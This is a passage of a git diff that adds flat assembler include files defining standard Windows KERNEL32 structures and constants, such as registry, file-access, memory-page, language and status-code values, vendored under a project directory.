REG_OPTION_BACKUP_RESTORE +REG_NONE = 0 +REG_SZ = 1 +REG_EXPAND_SZ = 2 +REG_BINARY = 3 +REG_DWORD = 4 +REG_DWORD_LITTLE_ENDIAN = 4 +REG_DWORD_BIG_ENDIAN = 5 +REG_LINK = 6 +REG_MULTI_SZ = 7 +REG_RESOURCE_LIST = 8 +REG_FULL_RESOURCE_DESCRIPTOR = 9 +REG_RESOURCE_REQUIREMENTS_LIST = 10 + +; Registry access modes + +KEY_QUERY_VALUE = 1 +KEY_SET_VALUE = 2 +KEY_CREATE_SUB_KEY = 4 +KEY_ENUMERATE_SUB_KEYS = 8 +KEY_NOTIFY = 10h +KEY_CREATE_LINK = 20h +KEY_READ = STANDARD_RIGHTS_READ or KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY and not SYNCHRONIZE +KEY_WRITE = STANDARD_RIGHTS_WRITE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY and not SYNCHRONIZE +KEY_EXECUTE = KEY_READ +KEY_ALL_ACCESS = STANDARD_RIGHTS_ALL or KEY_QUERY_VALUE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY or KEY_CREATE_LINK and not SYNCHRONIZE + +; Predefined registry keys + +HKEY_CLASSES_ROOT = 80000000h +HKEY_CURRENT_USER = 80000001h +HKEY_LOCAL_MACHINE = 80000002h +HKEY_USERS = 80000003h +HKEY_PERFORMANCE_DATA = 80000004h +HKEY_CURRENT_CONFIG = 80000005h +HKEY_DYN_DATA = 80000006h + +; FormatMessage flags + +FORMAT_MESSAGE_ALLOCATE_BUFFER = 0100h +FORMAT_MESSAGE_IGNORE_INSERTS = 0200h +FORMAT_MESSAGE_FROM_STRING = 0400h +FORMAT_MESSAGE_FROM_HMODULE = 0800h +FORMAT_MESSAGE_FROM_SYSTEM = 1000h +FORMAT_MESSAGE_ARGUMENT_ARRAY = 2000h +FORMAT_MESSAGE_MAX_WIDTH_MASK = 00FFh + +; Language identifiers + +LANG_NEUTRAL = 00h +LANG_BULGARIAN = 02h +LANG_CHINESE = 04h +LANG_CROATIAN = 1Ah +LANG_CZECH = 05h +LANG_DANISH = 06h +LANG_DUTCH = 13h +LANG_ENGLISH = 09h +LANG_FINNISH = 0Bh +LANG_FRENCH = 0Ch +LANG_GERMAN = 07h +LANG_GREEK = 08h +LANG_HUNGARIAN = 0Eh +LANG_ICELANDIC = 0Fh +LANG_ITALIAN = 10h +LANG_JAPANESE = 11h +LANG_KOREAN = 12h +LANG_NORWEGIAN = 14h +LANG_POLISH = 15h +LANG_PORTUGUESE = 16h +LANG_ROMANIAN = 18h +LANG_RUSSIAN = 19h +LANG_SLOVAK = 1Bh +LANG_SLOVENIAN = 24h +LANG_SPANISH = 0Ah +LANG_SWEDISH = 1Dh +LANG_THAI = 1Eh +LANG_TURKISH = 1Fh + +; Sublanguage identifiers + +SUBLANG_NEUTRAL = 00h shl 10 +SUBLANG_DEFAULT = 01h shl 10 +SUBLANG_SYS_DEFAULT = 02h shl 10 +SUBLANG_CHINESE_TRADITIONAL = 01h shl 10 +SUBLANG_CHINESE_SIMPLIFIED = 02h shl 10 +SUBLANG_CHINESE_HONGKONG = 03h shl 10 +SUBLANG_CHINESE_SINGAPORE = 04h shl 10 +SUBLANG_DUTCH = 01h shl 10 +SUBLANG_DUTCH_BELGIAN = 02h shl 10 +SUBLANG_ENGLISH_US = 01h shl 10 +SUBLANG_ENGLISH_UK = 02h shl 10 +SUBLANG_ENGLISH_AUS = 03h shl 10 +SUBLANG_ENGLISH_CAN = 04h shl 10 +SUBLANG_ENGLISH_NZ = 05h shl 10 +SUBLANG_ENGLISH_EIRE = 06h shl 10 +SUBLANG_FRENCH = 01h shl 10 +SUBLANG_FRENCH_BELGIAN = 02h shl 10 +SUBLANG_FRENCH_CANADIAN = 03h shl 10 +SUBLANG_FRENCH_SWISS = 04h shl 10 +SUBLANG_GERMAN = 01h shl 10 +SUBLANG_GERMAN_SWISS = 02h shl 10 +SUBLANG_GERMAN_AUSTRIAN = 03h shl 10 +SUBLANG_ITALIAN = 01h shl 10 +SUBLANG_ITALIAN_SWISS = 02h shl 10 +SUBLANG_NORWEGIAN_BOKMAL = 01h shl 10 +SUBLANG_NORWEGIAN_NYNORSK = 02h shl 10 +SUBLANG_PORTUGUESE = 02h shl 10 +SUBLANG_PORTUGUESE_BRAZILIAN = 01h shl 10 +SUBLANG_SPANISH = 01h shl 10 +SUBLANG_SPANISH_MEXICAN = 02h shl 10 +SUBLANG_SPANISH_MODERN = 03h shl 10 + +; Sorting identifiers + +SORT_DEFAULT = 0 shl 16 +SORT_JAPANESE_XJIS = 0 shl 16 +SORT_JAPANESE_UNICODE = 1 shl 16 +SORT_CHINESE_BIG5 = 0 shl 16 +SORT_CHINESE_PRCP = 0 shl 16 +SORT_CHINESE_UNICODE = 1 shl 16 +SORT_CHINESE_PRC = 2 shl 16 +SORT_CHINESE_BOPOMOFO = 3 shl 16 +SORT_KOREAN_KSC = 0 shl 16 +SORT_KOREAN_UNICODE = 1 shl 16 +SORT_GERMAN_PHONE_BOOK = 1 shl 16 +SORT_HUNGARIAN_DEFAULT = 0 shl 16 +SORT_HUNGARIAN_TECHNICAL = 1 shl 16 + +; Code pages + +CP_ACP = 0 ; default to ANSI code page +CP_OEMCP = 1 ; default to OEM code page +CP_MACCP = 2 ; default to MAC code page +CP_THREAD_ACP = 3 ; current thread's ANSI code page +CP_SYMBOL = 42 ; SYMBOL translations +CP_UTF7 = 65000 ; UTF-7 translation +CP_UTF8 = 65001 ; UTF-8 translation + +; Resource types + +RT_CURSOR = 1 +RT_BITMAP = 2 +RT_ICON = 3 +RT_MENU = 4 +RT_DIALOG = 5 +RT_STRING = 6 +RT_FONTDIR = 7 +RT_FONT = 8 +RT_ACCELERATOR = 9 +RT_RCDATA = 10 +RT_MESSAGETABLE = 11 +RT_GROUP_CURSOR = 12 +RT_GROUP_ICON = 14 +RT_VERSION = 16 +RT_DLGINCLUDE = 17 +RT_PLUGPLAY = 19 +RT_VXD = 20 +RT_ANICURSOR = 21 +RT_ANIICON = 22 +RT_HTML = 23 +RT_MANIFEST = 24 + +; Clipboard formats + +CF_TEXT = 001h +CF_BITMAP = 002h +CF_METAFILEPICT = 003h +CF_SYLK = 004h +CF_DIF = 005h +CF_TIFF = 006h +CF_OEMTEXT = 007h +CF_DIB = 008h +CF_PALETTE = 009h +CF_PENDATA = 00Ah +CF_RIFF = 00Bh +CF_WAVE = 00Ch +CF_UNICODETEXT = 00Dh +CF_ENHMETAFILE = 00Eh +CF_HDROP = 00Fh +CF_LOCALE = 010h +CF_OWNERDISPLAY = 080h +CF_DSPTEXT = 081h +CF_DSPBITMAP = 082h +CF_DSPMETAFILEPICT = 083h +CF_DSPENHMETAFILE = 08Eh +CF_PRIVATEFIRST = 200h +CF_PRIVATELAST = 2FFh +CF_GDIOBJFIRST = 300h +CF_GDIOBJLAST = 3FFh + +; OS types for version info + +VOS_UNKNOWN = 00000000h +VOS_DOS = 00010000h +VOS_OS216 = 00020000h +VOS_OS232 = 00030000h +VOS_NT = 00040000h +VOS__BASE = 00000000h +VOS__WINDOWS16 = 00000001h +VOS__PM16 = 00000002h +VOS__PM32 = 00000003h +VOS__WINDOWS32 = 00000004h +VOS_DOS_WINDOWS16 = 00010001h +VOS_DOS_WINDOWS32 = 00010004h +VOS_OS216_PM16 = 00020002h +VOS_OS232_PM32 = 00030003h +VOS_NT_WINDOWS32 = 00040004h + +; File types for version info + +VFT_UNKNOWN = 00000000h +VFT_APP = 00000001h +VFT_DLL = 00000002h +VFT_DRV = 00000003h +VFT_FONT = 00000004h +VFT_VXD = 00000005h +VFT_STATIC_LIB = 00000007h + +; File subtypes for version info + +VFT2_UNKNOWN = 00000000h +VFT2_DRV_PRINTER = 00000001h +VFT2_DRV_KEYBOARD = 00000002h +VFT2_DRV_LANGUAGE = 00000003h +VFT2_DRV_DISPLAY = 00000004h +VFT2_DRV_MOUSE = 00000005h +VFT2_DRV_NETWORK = 00000006h +VFT2_DRV_SYSTEM = 00000007h +VFT2_DRV_INSTALLABLE = 00000008h +VFT2_DRV_SOUND = 00000009h +VFT2_DRV_COMM = 0000000Ah +VFT2_DRV_INPUTMETHOD = 0000000Bh +VFT2_DRV_VERSIONED_PRINTER = 0000000Ch +VFT2_FONT_RASTER = 00000001h +VFT2_FONT_VECTOR = 00000002h +VFT2_FONT_TRUETYPE = 00000003h + +; Console control signals + +CTRL_C_EVENT = 0 +CTRL_BREAK_EVENT = 1 +CTRL_CLOSE_EVENT = 2 +CTRL_LOGOFF_EVENT = 5 +CTRL_SHUTDOWN_EVENT = 6 + +; Standard file handles + +STD_INPUT_HANDLE = 0FFFFFFF6h +STD_OUTPUT_HANDLE = 0FFFFFFF5h +STD_ERROR_HANDLE = 0FFFFFFF4h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/KERNEL64.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/KERNEL64.INC new file mode 100755 index 0000000..3e05b24 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/KERNEL64.INC @@ -0,0 +1,806 @@ + +; KERNEL32.DLL structures and constants + +struct SYSTEM_INFO + wProcessorArchitecture dw ? + wReserved dw ? + dwPageSize dd ? + lpMinimumApplicationAddress dq ? + lpMaximumApplicationAddress dq ? + dwActiveProcessorMask dq ? + dwNumberOfProcessors dd ? + dwProcessorType dd ? + dwAllocationGranularity dd ? + wProcessorLevel dw ? + wProcessorRevision dw ? +ends + +struct OSVERSIONINFO + dwOSVersionInfoSize dd ? + dwMajorVersion dd ? + dwMinorVersion dd ? + dwBuildNumber dd ? + dwPlatformId dd ? + szCSDVersion TCHAR 128 dup (?) +ends + +struct OSVERSIONINFOA + dwOSVersionInfoSize dd ? + dwMajorVersion dd ? + dwMinorVersion dd ? + dwBuildNumber dd ? + dwPlatformId dd ? + szCSDVersion db 128 dup (?) +ends + +struct OSVERSIONINFOW + dwOSVersionInfoSize dd ? + dwMajorVersion dd ? + dwMinorVersion dd ? + dwBuildNumber dd ? + dwPlatformId dd ? + szCSDVersion du 128 dup (?) +ends + +struct MEMORYSTATUS + dwLength dd ? + dwMemoryLoad dd ? + dwTotalPhys dq ? + dwAvailPhys dq ? + dwTotalPageFile dq ? + dwAvailPageFile dq ? + dwTotalVirtual dq ? + dwAvailVirtual dq ? +ends + +struct STARTUPINFO + cb dd ?,? + lpReserved dq ? + lpDesktop dq ? + lpTitle dq ? + dwX dd ? + dwY dd ? + dwXSize dd ? + dwYSize dd ? + dwXCountChars dd ? + dwYCountChars dd ? + dwFillAttribute dd ? + dwFlags dd ? + wShowWindow dw ? + cbReserved2 dw ?,?,? + lpReserved2 dq ? + hStdInput dq ? + hStdOutput dq ? + hStdError dq ? +ends + +struct PROCESS_INFORMATION + hProcess dq ? + hThread dq ? + dwProcessId dd ? + dwThreadId dd ? +ends + +struct FILETIME + dwLowDateTime dd ? + dwHighDateTime dd ? +ends + +struct SYSTEMTIME + wYear dw ? + wMonth dw ? + wDayOfWeek dw ? + wDay dw ? + wHour dw ? + wMinute dw ? + wSecond dw ? + wMilliseconds dw ? +ends + +struct BY_HANDLE_FILE_INFORMATION + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + dwVolumeSerialNumber dd ? + nFileSizeHigh dd ? + nFileSizeLow dd ? + nNumberOfLinks dd ? + nFileIndexHigh dd ? + nFileIndexLow dd ? +ends + +struct WIN32_FIND_DATA + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + nFileSizeHigh dd ? + nFileSizeLow dd ? + dwReserved0 dd ? + dwReserved1 dd ? + cFileName TCHAR MAX_PATH dup (?) + cAlternateFileName TCHAR 14 dup (?) +ends + +struct WIN32_FIND_DATAA + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + nFileSizeHigh dd ? + nFileSizeLow dd ? + dwReserved0 dd ? + dwReserved1 dd ? + cFileName db MAX_PATH dup (?) + cAlternateFileName db 14 dup (?) +ends + +struct WIN32_FIND_DATAW + dwFileAttributes dd ? + ftCreationTime FILETIME + ftLastAccessTime FILETIME + ftLastWriteTime FILETIME + nFileSizeHigh dd ? + nFileSizeLow dd ? + dwReserved0 dd ? + dwReserved1 dd ? + cFileName du MAX_PATH dup (?) + cAlternateFileName du 14 dup (?) +ends + +; General constants + +NULL = 0 +TRUE = 1 +FALSE = 0 + +; Maximum path length in characters + +MAX_PATH = 260 + +; Access rights + +DELETE_RIGHT = 00010000h +READ_CONTROL = 00020000h +WRITE_DAC = 00040000h +WRITE_OWNER = 00080000h +SYNCHRONIZE = 00100000h +STANDARD_RIGHTS_READ = READ_CONTROL +STANDARD_RIGHTS_WRITE = READ_CONTROL +STANDARD_RIGHTS_EXECUTE = READ_CONTROL +STANDARD_RIGHTS_REQUIRED = 000F0000h +STANDARD_RIGHTS_ALL = 001F0000h +SPECIFIC_RIGHTS_ALL = 0000FFFFh +ACCESS_SYSTEM_SECURITY = 01000000h +MAXIMUM_ALLOWED = 02000000h +GENERIC_READ = 80000000h +GENERIC_WRITE = 40000000h +GENERIC_EXECUTE = 20000000h +GENERIC_ALL = 10000000h +PROCESS_TERMINATE = 00000001h +PROCESS_CREATE_THREAD = 00000002h +PROCESS_VM_OPERATION = 00000008h +PROCESS_VM_READ = 00000010h +PROCESS_VM_WRITE = 00000020h +PROCESS_DUP_HANDLE = 00000040h +PROCESS_CREATE_PROCESS = 00000080h +PROCESS_SET_QUOTA = 00000100h +PROCESS_SET_INFORMATION = 00000200h +PROCESS_QUERY_INFORMATION = 00000400h +PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or 0FFFh +FILE_SHARE_READ = 00000001h +FILE_SHARE_WRITE = 00000002h +FILE_SHARE_DELETE = 00000004h + +; CreateFile actions + +CREATE_NEW = 1 +CREATE_ALWAYS = 2 +OPEN_EXISTING = 3 +OPEN_ALWAYS = 4 +TRUNCATE_EXISTING = 5 + +; OpenFile modes + +OF_READ = 0000h +OF_WRITE = 0001h +OF_READWRITE = 0002h +OF_SHARE_COMPAT = 0000h +OF_SHARE_EXCLUSIVE = 0010h +OF_SHARE_DENY_WRITE = 0020h +OF_SHARE_DENY_READ = 0030h +OF_SHARE_DENY_NONE = 0040h +OF_PARSE = 0100h +OF_DELETE = 0200h +OF_VERIFY = 0400h +OF_CANCEL = 0800h +OF_CREATE = 1000h +OF_PROMPT = 2000h +OF_EXIST = 4000h +OF_REOPEN = 8000h + +; SetFilePointer methods + +FILE_BEGIN = 0 +FILE_CURRENT = 1 +FILE_END = 2 + +; File attributes + +FILE_ATTRIBUTE_READONLY = 001h +FILE_ATTRIBUTE_HIDDEN = 002h +FILE_ATTRIBUTE_SYSTEM = 004h +FILE_ATTRIBUTE_DIRECTORY = 010h +FILE_ATTRIBUTE_ARCHIVE = 020h +FILE_ATTRIBUTE_NORMAL = 080h +FILE_ATTRIBUTE_TEMPORARY = 100h +FILE_ATTRIBUTE_COMPRESSED = 800h + +; File flags + +FILE_FLAG_WRITE_THROUGH = 80000000h +FILE_FLAG_OVERLAPPED = 40000000h +FILE_FLAG_NO_BUFFERING = 20000000h +FILE_FLAG_RANDOM_ACCESS = 10000000h +FILE_FLAG_SEQUENTIAL_SCAN = 08000000h +FILE_FLAG_DELETE_ON_CLOSE = 04000000h +FILE_FLAG_BACKUP_SEMANTICS = 02000000h +FILE_FLAG_POSIX_SEMANTICS = 01000000h + +; Notify filters + +FILE_NOTIFY_CHANGE_FILE_NAME = 001h +FILE_NOTIFY_CHANGE_DIR_NAME = 002h +FILE_NOTIFY_CHANGE_ATTRIBUTES = 004h +FILE_NOTIFY_CHANGE_SIZE = 008h +FILE_NOTIFY_CHANGE_LAST_WRITE = 010h +FILE_NOTIFY_CHANGE_SECURITY = 100h + +; File types + +FILE_TYPE_UNKNOWN = 0 +FILE_TYPE_DISK = 1 +FILE_TYPE_CHAR = 2 +FILE_TYPE_PIPE = 3 +FILE_TYPE_REMOTE = 8000h + +; LockFileEx flags + +LOCKFILE_FAIL_IMMEDIATELY = 1 +LOCKFILE_EXCLUSIVE_LOCK = 2 + +; MoveFileEx flags + +MOVEFILE_REPLACE_EXISTING = 1 +MOVEFILE_COPY_ALLOWED = 2 +MOVEFILE_DELAY_UNTIL_REBOOT = 4 +MOVEFILE_WRITE_THROUGH = 8 + +; FindFirstFileEx flags + +FIND_FIRST_EX_CASE_SENSITIVE = 1 + +; Device handles + +INVALID_HANDLE_VALUE = -1 +STD_INPUT_HANDLE = -10 +STD_OUTPUT_HANDLE = -11 +STD_ERROR_HANDLE = -12 + +; DuplicateHandle options + +DUPLICATE_CLOSE_SOURCE = 1 +DUPLICATE_SAME_ACCESS = 2 + +; File mapping acccess rights + +SECTION_QUERY = 01h +SECTION_MAP_WRITE = 02h +SECTION_MAP_READ = 04h +SECTION_MAP_EXECUTE = 08h +SECTION_EXTEND_SIZE = 10h +SECTION_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SECTION_QUERY or SECTION_MAP_WRITE or SECTION_MAP_READ or SECTION_MAP_EXECUTE or SECTION_EXTEND_SIZE +FILE_MAP_COPY = SECTION_QUERY +FILE_MAP_WRITE = SECTION_MAP_WRITE +FILE_MAP_READ = SECTION_MAP_READ +FILE_MAP_ALL_ACCESS = SECTION_ALL_ACCESS + +; File system flags + +FILE_CASE_SENSITIVE_SEARCH = 0001h +FILE_CASE_PRESERVED_NAMES = 0002h +FILE_UNICODE_ON_DISK = 0004h +FILE_PERSISTENT_ACLS = 0008h +FILE_FILE_COMPRESSION = 0010h +FILE_VOLUME_IS_COMPRESSED = 8000h +FS_CASE_IS_PRESERVED = FILE_CASE_PRESERVED_NAMES +FS_CASE_SENSITIVE = FILE_CASE_SENSITIVE_SEARCH +FS_UNICODE_STORED_ON_DISK = FILE_UNICODE_ON_DISK +FS_PERSISTENT_ACLS = FILE_PERSISTENT_ACLS + +; Drive types + +DRIVE_UNKNOWN = 0 +DRIVE_NO_ROOT_DIR = 1 +DRIVE_REMOVABLE = 2 +DRIVE_FIXED = 3 +DRIVE_REMOTE = 4 +DRIVE_CDROM = 5 +DRIVE_RAMDISK = 6 + +; Pipe modes + +PIPE_ACCESS_INBOUND = 1 +PIPE_ACCESS_OUTBOUND = 2 +PIPE_ACCESS_DUPLEX = 3 +PIPE_CLIENT_END = 0 +PIPE_SERVER_END = 1 +PIPE_WAIT = 0 +PIPE_NOWAIT = 1 +PIPE_READMODE_BYTE = 0 +PIPE_READMODE_MESSAGE = 2 +PIPE_TYPE_BYTE = 0 +PIPE_TYPE_MESSAGE = 4 +PIPE_UNLIMITED_INSTANCES = 255 + +; Global memory flags + +GMEM_FIXED = 0000h +GMEM_MOVEABLE = 0002h +GMEM_NOCOMPACT = 0010h +GMEM_NODISCARD = 0020h +GMEM_ZEROINIT = 0040h +GMEM_MODIFY = 0080h +GMEM_DISCARDABLE = 0100h +GMEM_NOT_BANKED = 1000h +GMEM_SHARE = 2000h +GMEM_DDESHARE = 2000h +GMEM_NOTIFY = 4000h +GMEM_LOWER = GMEM_NOT_BANKED +GMEM_VALID_FLAGS = 7F72h +GMEM_INVALID_HANDLE = 8000h +GMEM_DISCARDED = 4000h +GMEM_LOCKCOUNT = 0FFh +GHND = GMEM_MOVEABLE + GMEM_ZEROINIT +GPTR = GMEM_FIXED + GMEM_ZEROINIT + +; Local memory flags + +LMEM_FIXED = 0000h +LMEM_MOVEABLE = 0002h +LMEM_NOCOMPACT = 0010h +LMEM_NODISCARD = 0020h +LMEM_ZEROINIT = 0040h +LMEM_MODIFY = 0080h +LMEM_DISCARDABLE = 0F00h +LMEM_VALID_FLAGS = 0F72h +LMEM_INVALID_HANDLE = 8000h +LHND = LMEM_MOVEABLE + LMEM_ZEROINIT +LPTR = LMEM_FIXED + LMEM_ZEROINIT +LMEM_DISCARDED = 4000h +LMEM_LOCKCOUNT = 00FFh + +; Page access flags + +PAGE_NOACCESS = 001h +PAGE_READONLY = 002h +PAGE_READWRITE = 004h +PAGE_WRITECOPY = 008h +PAGE_EXECUTE = 010h +PAGE_EXECUTE_READ = 020h +PAGE_EXECUTE_READWRITE = 040h +PAGE_EXECUTE_WRITECOPY = 080h +PAGE_GUARD = 100h +PAGE_NOCACHE = 200h + +; Memory allocation flags + +MEM_COMMIT = 001000h +MEM_RESERVE = 002000h +MEM_DECOMMIT = 004000h +MEM_RELEASE = 008000h +MEM_FREE = 010000h +MEM_PRIVATE = 020000h +MEM_MAPPED = 040000h +MEM_RESET = 080000h +MEM_TOP_DOWN = 100000h + +; Heap allocation flags + +HEAP_NO_SERIALIZE = 1 +HEAP_GENERATE_EXCEPTIONS = 4 +HEAP_ZERO_MEMORY = 8 + +; Platform identifiers + +VER_PLATFORM_WIN32s = 0 +VER_PLATFORM_WIN32_WINDOWS = 1 +VER_PLATFORM_WIN32_NT = 2 + +; GetBinaryType return values + +SCS_32BIT_BINARY = 0 +SCS_DOS_BINARY = 1 +SCS_WOW_BINARY = 2 +SCS_PIF_BINARY = 3 +SCS_POSIX_BINARY = 4 +SCS_OS216_BINARY = 5 + +; CreateProcess flags + +DEBUG_PROCESS = 001h +DEBUG_ONLY_THIS_PROCESS = 002h +CREATE_SUSPENDED = 004h +DETACHED_PROCESS = 008h +CREATE_NEW_CONSOLE = 010h +NORMAL_PRIORITY_CLASS = 020h +IDLE_PRIORITY_CLASS = 040h +HIGH_PRIORITY_CLASS = 080h +REALTIME_PRIORITY_CLASS = 100h +CREATE_NEW_PROCESS_GROUP = 200h +CREATE_SEPARATE_WOW_VDM = 800h + +; Thread priority values + +THREAD_BASE_PRIORITY_MIN = -2 +THREAD_BASE_PRIORITY_MAX = 2 +THREAD_BASE_PRIORITY_LOWRT = 15 +THREAD_BASE_PRIORITY_IDLE = -15 +THREAD_PRIORITY_LOWEST = THREAD_BASE_PRIORITY_MIN +THREAD_PRIORITY_BELOW_NORMAL = THREAD_PRIORITY_LOWEST + 1 +THREAD_PRIORITY_NORMAL = 0 +THREAD_PRIORITY_HIGHEST = THREAD_BASE_PRIORITY_MAX +THREAD_PRIORITY_ABOVE_NORMAL = THREAD_PRIORITY_HIGHEST - 1 +THREAD_PRIORITY_ERROR_RETURN = 7FFFFFFFh +THREAD_PRIORITY_TIME_CRITICAL = THREAD_BASE_PRIORITY_LOWRT +THREAD_PRIORITY_IDLE = THREAD_BASE_PRIORITY_IDLE + +; Startup flags + +STARTF_USESHOWWINDOW = 001h +STARTF_USESIZE = 002h +STARTF_USEPOSITION = 004h +STARTF_USECOUNTCHARS = 008h +STARTF_USEFILLATTRIBUTE = 010h +STARTF_RUNFULLSCREEN = 020h +STARTF_FORCEONFEEDBACK = 040h +STARTF_FORCEOFFFEEDBACK = 080h +STARTF_USESTDHANDLES = 100h + +; Shutdown flags + +SHUTDOWN_NORETRY = 1h + +; LoadLibraryEx flags + +DONT_RESOLVE_DLL_REFERENCES = 1 +LOAD_LIBRARY_AS_DATAFILE = 2 +LOAD_WITH_ALTERED_SEARCH_PATH = 8 + +; DLL entry-point calls + +DLL_PROCESS_DETACH = 0 +DLL_PROCESS_ATTACH = 1 +DLL_THREAD_ATTACH = 2 +DLL_THREAD_DETACH = 3 + +; Status codes + +STATUS_WAIT_0 = 000000000h +STATUS_ABANDONED_WAIT_0 = 000000080h +STATUS_USER_APC = 0000000C0h +STATUS_TIMEOUT = 000000102h +STATUS_PENDING = 000000103h +STATUS_DATATYPE_MISALIGNMENT = 080000002h +STATUS_BREAKPOINT = 080000003h +STATUS_SINGLE_STEP = 080000004h +STATUS_ACCESS_VIOLATION = 0C0000005h +STATUS_IN_PAGE_ERROR = 0C0000006h +STATUS_NO_MEMORY = 0C0000017h +STATUS_ILLEGAL_INSTRUCTION = 0C000001Dh +STATUS_NONCONTINUABLE_EXCEPTION = 0C0000025h +STATUS_INVALID_DISPOSITION = 0C0000026h +STATUS_ARRAY_BOUNDS_EXCEEDED = 0C000008Ch +STATUS_FLOAT_DENORMAL_OPERAND = 0C000008Dh +STATUS_FLOAT_DIVIDE_BY_ZERO = 0C000008Eh +STATUS_FLOAT_INEXACT_RESULT = 0C000008Fh +STATUS_FLOAT_INVALID_OPERATION = 0C0000090h +STATUS_FLOAT_OVERFLOW = 0C0000091h +STATUS_FLOAT_STACK_CHECK = 0C0000092h +STATUS_FLOAT_UNDERFLOW = 0C0000093h +STATUS_INTEGER_DIVIDE_BY_ZERO = 0C0000094h +STATUS_INTEGER_OVERFLOW = 0C0000095h +STATUS_PRIVILEGED_INSTRUCTION = 0C0000096h +STATUS_STACK_OVERFLOW = 0C00000FDh +STATUS_CONTROL_C_EXIT = 0C000013Ah +WAIT_FAILED = -1 +WAIT_OBJECT_0 = STATUS_WAIT_0 +WAIT_ABANDONED = STATUS_ABANDONED_WAIT_0 +WAIT_ABANDONED_0 = STATUS_ABANDONED_WAIT_0 +WAIT_TIMEOUT = STATUS_TIMEOUT +WAIT_IO_COMPLETION = STATUS_USER_APC +STILL_ACTIVE = STATUS_PENDING + +; Exception codes + +EXCEPTION_CONTINUABLE = 0 +EXCEPTION_NONCONTINUABLE = 1 +EXCEPTION_ACCESS_VIOLATION = STATUS_ACCESS_VIOLATION +EXCEPTION_DATATYPE_MISALIGNMENT = STATUS_DATATYPE_MISALIGNMENT +EXCEPTION_BREAKPOINT = STATUS_BREAKPOINT +EXCEPTION_SINGLE_STEP = STATUS_SINGLE_STEP +EXCEPTION_ARRAY_BOUNDS_EXCEEDED = STATUS_ARRAY_BOUNDS_EXCEEDED +EXCEPTION_FLT_DENORMAL_OPERAND = STATUS_FLOAT_DENORMAL_OPERAND +EXCEPTION_FLT_DIVIDE_BY_ZERO = STATUS_FLOAT_DIVIDE_BY_ZERO +EXCEPTION_FLT_INEXACT_RESULT = STATUS_FLOAT_INEXACT_RESULT +EXCEPTION_FLT_INVALID_OPERATION = STATUS_FLOAT_INVALID_OPERATION +EXCEPTION_FLT_OVERFLOW = STATUS_FLOAT_OVERFLOW +EXCEPTION_FLT_STACK_CHECK = STATUS_FLOAT_STACK_CHECK +EXCEPTION_FLT_UNDERFLOW = STATUS_FLOAT_UNDERFLOW +EXCEPTION_INT_DIVIDE_BY_ZERO = STATUS_INTEGER_DIVIDE_BY_ZERO +EXCEPTION_INT_OVERFLOW = STATUS_INTEGER_OVERFLOW +EXCEPTION_ILLEGAL_INSTRUCTION = STATUS_ILLEGAL_INSTRUCTION +EXCEPTION_PRIV_INSTRUCTION = STATUS_PRIVILEGED_INSTRUCTION +EXCEPTION_IN_PAGE_ERROR = STATUS_IN_PAGE_ERROR + +; Registry options + +REG_OPTION_RESERVED = 0 +REG_OPTION_NON_VOLATILE = 0 +REG_OPTION_VOLATILE = 1 +REG_OPTION_CREATE_LINK = 2 +REG_OPTION_BACKUP_RESTORE = 4 +REG_CREATED_NEW_KEY = 1 +REG_OPENED_EXISTING_KEY = 2 +REG_WHOLE_HIVE_VOLATILE = 1 +REG_REFRESH_HIVE = 2 +REG_NOTIFY_CHANGE_NAME = 1 +REG_NOTIFY_CHANGE_ATTRIBUTES = 2 +REG_NOTIFY_CHANGE_LAST_SET = 4 +REG_NOTIFY_CHANGE_SECURITY = 8 +REG_LEGAL_CHANGE_FILTER = REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_ATTRIBUTES or REG_NOTIFY_CHANGE_LAST_SET or REG_NOTIFY_CHANGE_SECURITY +REG_LEGAL_OPTION = REG_OPTION_RESERVED or REG_OPTION_NON_VOLATILE or REG_OPTION_VOLATILE or REG_OPTION_CREATE_LINK or REG_OPTION_BACKUP_RESTORE +REG_NONE = 0 +REG_SZ = 1 +REG_EXPAND_SZ = 2 +REG_BINARY = 3 +REG_DWORD = 4 +REG_DWORD_LITTLE_ENDIAN = 4 +REG_DWORD_BIG_ENDIAN = 5 +REG_LINK = 6 +REG_MULTI_SZ = 7 +REG_RESOURCE_LIST = 8 +REG_FULL_RESOURCE_DESCRIPTOR = 9 +REG_RESOURCE_REQUIREMENTS_LIST = 10 + +; Registry access modes + +KEY_QUERY_VALUE = 1 +KEY_SET_VALUE = 2 +KEY_CREATE_SUB_KEY = 4 +KEY_ENUMERATE_SUB_KEYS = 8 +KEY_NOTIFY = 10h +KEY_CREATE_LINK = 20h +KEY_READ = STANDARD_RIGHTS_READ or KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY and not SYNCHRONIZE +KEY_WRITE = STANDARD_RIGHTS_WRITE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY and not SYNCHRONIZE +KEY_EXECUTE = KEY_READ +KEY_ALL_ACCESS = STANDARD_RIGHTS_ALL or KEY_QUERY_VALUE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY or KEY_CREATE_LINK and not SYNCHRONIZE + +; Predefined registry keys + +HKEY_CLASSES_ROOT = 80000000h +HKEY_CURRENT_USER = 80000001h +HKEY_LOCAL_MACHINE = 80000002h +HKEY_USERS = 80000003h +HKEY_PERFORMANCE_DATA = 80000004h +HKEY_CURRENT_CONFIG = 80000005h +HKEY_DYN_DATA = 80000006h + +; FormatMessage flags + +FORMAT_MESSAGE_ALLOCATE_BUFFER = 0100h +FORMAT_MESSAGE_IGNORE_INSERTS = 0200h +FORMAT_MESSAGE_FROM_STRING = 0400h +FORMAT_MESSAGE_FROM_HMODULE = 0800h 